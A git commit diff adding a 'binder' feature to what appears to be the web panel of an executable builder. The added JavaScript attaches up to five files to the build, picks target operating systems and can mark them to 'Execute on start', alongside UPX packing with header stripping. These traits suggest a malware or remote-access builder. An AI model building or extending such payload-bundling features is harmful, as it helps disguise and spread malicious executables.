add binder

This commit is contained in:
KingKDot
2026-03-21 02:37:10 -05:00
parent 05527febf2
commit 53b645fd83
6 changed files with 375 additions and 0 deletions
+118
View File
@@ -227,6 +227,121 @@ if (iconClear) {
});
}
const MAX_BIND_FILES = 5;
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
const bindFileInput = document.getElementById("bind-file-input");
const bindFilesList = document.getElementById("bind-files-list");
const bindAddLabel = document.getElementById("bind-add-label");
function sanitizeBindName(name) {
return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
}
function renderBoundFiles() {
if (!bindFilesList) return;
bindFilesList.innerHTML = "";
boundFiles.forEach((entry, idx) => {
const div = document.createElement("div");
div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
const osList = ["windows", "linux", "darwin"];
const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };
const osCheckboxes = osList
.map(
(os) =>
`<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-os-cb w-3 h-3" data-idx="${idx}" data-os="${os}"
${entry.targetOS.length === 0 || entry.targetOS.includes(os) ? "checked" : ""} />
<i class="${osIcons[os]} ${osColors[os]}"></i> ${osLabels[os]}
</label>`,
)
.join("");
div.innerHTML = `
<div class="flex items-center gap-2">
<i class="fa-solid fa-file text-violet-400 shrink-0"></i>
<span class="text-sm font-medium text-slate-200 truncate flex-1">${entry.name}</span>
<button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx="${idx}" title="Remove">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div class="flex items-center gap-3 flex-wrap">
<span class="text-xs text-slate-500 shrink-0">Run on:</span>
${osCheckboxes}
<span class="flex-1"></span>
<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx="${idx}" ${entry.execute ? "checked" : ""} />
<i class="fa-solid fa-play text-green-400"></i> Execute on start
</label>
</div>
`;
div.querySelector(".bind-remove-btn").addEventListener("click", () => {
boundFiles.splice(idx, 1);
renderBoundFiles();
updateBindAddVisibility();
});
div.querySelectorAll(".bind-os-cb").forEach((cb) => {
cb.addEventListener("change", () => {
const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
.filter((el) => el.checked)
.map((el) => el.dataset.os);
boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
});
});
div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
boundFiles[idx].execute = e.target.checked;
});
bindFilesList.appendChild(div);
});
}
function updateBindAddVisibility() {
if (!bindAddLabel) return;
bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
}
if (bindFileInput) {
bindFileInput.addEventListener("change", () => {
const file = bindFileInput.files[0];
bindFileInput.value = "";
if (!file) return;
if (boundFiles.length >= MAX_BIND_FILES) {
alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
return;
}
if (file.size > MAX_BIND_FILE_BYTES) {
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
return;
}
const safeName = sanitizeBindName(file.name);
if (boundFiles.some((f) => f.name === safeName)) {
alert(`A file named "${safeName}" is already in the list.`);
return;
}
const reader = new FileReader();
reader.onload = () => {
const base64 = reader.result.split(",")[1];
boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
renderBoundFiles();
updateBindAddVisibility();
};
reader.readAsDataURL(file);
});
}
async function init() {
try {
updateServerUrlPlaceholder();
@@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => {
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
boundFiles: boundFiles.length > 0
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
: undefined,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));